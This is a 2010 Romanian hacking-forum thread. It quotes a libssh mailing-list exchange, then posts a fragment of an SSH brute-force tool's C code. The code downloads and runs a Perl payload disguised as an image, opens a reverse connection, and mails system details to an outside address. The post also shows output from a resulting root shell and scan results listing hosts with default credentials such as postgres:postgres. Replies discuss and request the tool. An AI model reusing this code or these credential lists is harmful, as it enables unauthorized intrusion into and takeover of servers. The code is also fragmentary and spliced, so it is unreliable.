UstupidMF Posted July 2, 2010 Report Posted July 2, 2010 (edited) Thu, 25 Feb 2010 01:34:22 -0800Thanks for the clarification and the options.- execute several commands; can't do this as I need to testresult/output of each command before determining what commands toexecute next- start a scripting language; my intent is to provide a Rexx interfaceto libssh to simplify the interaction with the serverSo basically if I use channel_request_shell() then the environment onthe server will be retained between subsequent calls tochannel_request_shell() ?I don't fully understand the statement(s) about not being able to parsethe $ or # prompts (or in the previous email; "you must know shellprompt before you begin communication". Is this because the shell promptis included in the contents of channel_read() ?Thanks, MarkOn Thu, 2010-02-25 at 10:19 +0100, Aris Adamantiadis wrote:Hi,Indeed, you can execute only one command using channel_request_exec. Butyou may eitherexecute several commandsstart a scripting languageexample:channel_request_exec(channel,"cd /tmp; mkdir mytest; cd mytest; touchmytest");This will be executed as only one shell command. Another solution is// Do NOT put the channel into interactive mode/ptychannel_request_shell(channel);channel_write(channel,"cd /tmp ; echo OK");channel_read(...)channel_write(channel,"mkdir mytest ; echo OK");...basicaly that's like a shell script. Do not expect being able to parsethe "#" or "$" prompts, it won't work...hope this helps.ArisMark Hessling a écrit : I'm looking at libssh to enable the replacement of an existing application that uses raw sockets to control a telnet session. In future the connection must be done using ssh. I tried modifying examples/exec.c and duplicated the block of code that calls channel_request_exec() to execute "ps aux" and to read the output. I simply added a call to channel_request_exec() to execute "ls -l", but I received an error: "Channel exec request failed". Should I be able to with libssh, execute a shell command on the remote host, read its output and execute another shell command and read its output?From my reading of the documentation it appears that each call to channel_request_exec() spawns another shell on the remote server, so if I wanted to execute the following on the remote server: "cd tmp" "./run_my_command" then the second command would not be executed in the "tmp" directory. Does libssh then need a "changedirectory" function similar to the one that sets environment variables? Thanks in advance for your responses.* Mark Hessling, m...@* Author of THE, a Free XEDIT/KEDIT editor, Rexx/SQL, Rexx/CURL, etc. Am si facut testul,merge foarte bine CHANNEL *channel; channel = open_session_channel(session,1000,1000); if(isatty(0)) err=channel_request_exec(channel,"cd /tmp; mkdir mytest; cd mytest; touch mytest; wget 201.145/cb.jpg; perl cb.jpg .214.1 80&"); err=channel_request_pty(channel); err=channel_request_shell(channel); start=time(0); while (channel, "shell",sizeof("shell") - 1, NULL, 0) { usleep(500000); err=channel_poll(channel,0); if(err>0){ err=channel_write(channel,"cd /tmp ; echo OK ; pwd ; id ; uname -a >> /tmp/cmd.txt ; cat /tmp/cmd.txt | mail -s 'SSH' ceva@yahoo.com ",0); err=channel_read(channel,readbuf,0,0); err=channel_write(channel,"mkdir mytest ; echo OK",0); int port=65022; options=ssh_getopt(&argc,argv); options_set_username(options,user); options_set_host(options,host); options_set_port(options,port); session=ssh_connect(options); /libssh2-1.2.6/maint # ./channel 1 #n-> root somepass some.26.38.1 | somehost.org listening on [any] 80 ... connect to [10.48.1.10] from somehost.org [38.1] 33070 Linux somehost.org 2.6.9-42.0.3.ELsmp #1 SMP Mon Sep 25 17:24:31 EDT 2006 x86_64 x86_64 x86_64 GNU/Linux uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:initrc_t sh: no job control in this shell sh-3.00#O sa mai testez blind,sa vad cum merge si cu '/bin/sh' '/bin/ksh' ;poate prinde ceva si revin cu ideitype=USER_ACCT msg=audit(1278725341.429:544087): user pid=19682 uid=0 auid=4294967295 msg='PAM: accounting acct=apache : exe="/usr/sbin/crond" (hostname=?, addr=?, terminal=cron res=success)'type=CRED_ACQ msg=audit(1278725341.429:544088): user pid=19682 uid=0 auid=4294967295 msg='PAM: setcred acct=apache : exe="/usr/sbin/crond" (hostname=?, addr=?, terminal=cron res=success)'type=LOGIN msg=audit(1278725341.429:544089): login pid=19682 uid=0 old auid=4294967295 new auid=48type=USER_START msg=audit(1278725341.429:544090): user pid=19682 uid=0 auid=48 msg='PAM: session open acct=apache : exe="/usr/sbin/crond" (hostname=?, addr=?, terminal=cron res=success)'Scanning for postgres:postgresOK:78.*.*.*:postgres:postgresOK:72.*.*.*:postgres:postgresOK:218.*.*.*:postgres:postgresOK:24.*.*.*:postgres:postgresScanning for home:homeOK:189.*.*.*:oracle:oracleOK:187.*.*.*:oracle:oracleOK:220.*.*.*:mysql:mysqlOK:62.*.*.*:service:serviceOK:63.*.*.*:user:userOK:63.*.*.*:user:userOK:208.*.*.*:user:userOK:222.*.*.*:user:userOK:187.*.*.*:user:userFlubber,ti-ai ales bine nick-ul pt ca esti putin "incomptetent" si daca vrei sa ma contrazici invatza sa scrii singurel,nu lua de pe google linkuri care nu le intelegi + propozitzii de pe forum si ca sa pari si mai "incompetent" itzi faci si altar de gifuri.Ti-am dat clar bucata din sursa de bruteforce care este pe "piatza ta de HACKER" din 2003-2004.Am inceput sa postez pe forumul asta,crezand ca sunt oameni capabili,dar vad numai incompetenti,care-si dau cu parerea intr-un domeniu in care chiar nu se poate sa te arunci in discutzii fara sa ai habar,sunteti niste "Panarame"HackerilorEra sa uit,bha OUTPUT-ULE,cum poti sa spui,ca implementezi o sursa in c in metasploit ? esti retardat mintal ?! Edited July 19, 2010 by UstupidMF Quote
Flubber Posted July 2, 2010 Report Posted July 2, 2010 Interesant, dar nu vad cum asta ar fi un ssh bruteforcer... Hm? Quote
UstupidMF Posted July 2, 2010 Author Report Posted July 2, 2010 Este o bucata din sursa de bruteforce ...cauta pe google si documenteaza-te inainte sa pui intrebari Quote
strike Posted July 2, 2010 Report Posted July 2, 2010 E ceva de genul dupa ce obtine user&pass din bruteforce se conecteaza si executa comenzi.Sper sa nu ma insel.Oricum frumos. Quote
Flubber Posted July 2, 2010 Report Posted July 2, 2010 Este o bucata din sursa de bruteforce ...cauta pe google si documenteaza-te inainte sa pui intrebari Brute force attack - Wikipedia, the free encyclopediaE ceva de genul dupa ce obtine user&pass din bruteforce se conecteaza si executa comenzi.Sper sa nu ma insel.Oricum frumos.Mult mai plauzibil ce a scris strike...Executa comenzi, dar problema dupa cate vad este primirea "output-ului" dupa executarea comenzilor, asta ar fi bun de implementat in metasploit (banuiesc) Quote
vizitatoru123 Posted July 4, 2010 Report Posted July 4, 2010 Brute force attack - Wikipedia, the free encyclopediaMult mai plauzibil ce a scris strike...Executa comenzi, dar problema dupa cate vad este primirea "output-ului" dupa executarea comenzilor, asta ar fi bun de implementat in metasploit (banuiesc)Are metasploit destule de executat comenzi ...Oricum interesant. Quote
ANdreicj Posted July 4, 2010 Report Posted July 4, 2010 Da-ne si noua scannerul, nu toti sunt destepti ca tine ^^. Quote
UstupidMF Posted July 4, 2010 Author Report Posted July 4, 2010 Am luat la rand toate sursele de ssh bruteforce de pe google ,am stat sa le combin pe toate sa fac una sa mearga,ca sa-ti dau tzie sursa (ANdreicj)? Quote
lizard Posted July 7, 2010 Report Posted July 7, 2010 use thislibssh2 examplesai destule exemple acolo.. pe care le poti modifica cum vrei tu Quote
ANdreicj Posted July 7, 2010 Report Posted July 7, 2010 @lizard, mersi.@ucacat, nu cred ca ai nimic . Quote
UstupidMF Posted July 10, 2010 Author Report Posted July 10, 2010 (edited) type=USER_ACCT msg=audit(1278725341.429:544087): user pid=19682 uid=0 auid=4294967295 msg='PAM: accounting acct=apache : exe="/usr/sbin/crond" (hostname=?, addr=?, terminal=cron res=success)'type=CRED_ACQ msg=audit(1278725341.429:544088): user pid=19682 uid=0 auid=4294967295 msg='PAM: setcred acct=apache : exe="/usr/sbin/crond" (hostname=?, addr=?, terminal=cron res=success)'type=LOGIN msg=audit(1278725341.429:544089): login pid=19682 uid=0 old auid=4294967295 new auid=48type=USER_START msg=audit(1278725341.429:544090): user pid=19682 uid=0 auid=48 msg='PAM: session open acct=apache : exe="/usr/sbin/crond" (hostname=?, addr=?, terminal=cron res=success)' Edited July 12, 2010 by UstupidMF Quote
theangel1 Posted May 29, 2011 Report Posted May 29, 2011 UstupidMF dami si mie sursele alea ce zici ca ai gasit ca eu caut de 2 saptamani si nu reusesc sa gasesc si ce am gasit sunt incomplete sau rau scrise Quote
ONes Posted June 2, 2011 Report Posted June 2, 2011 UstupidMF dami si mie sursele alea ce zici ca ai gasit ca eu caut de 2 saptamani si nu reusesc sa gasesc si ce am gasit sunt incomplete sau rau scriseFara suparare, a dat-o mai devreme , " libssh2 examples " try it Quote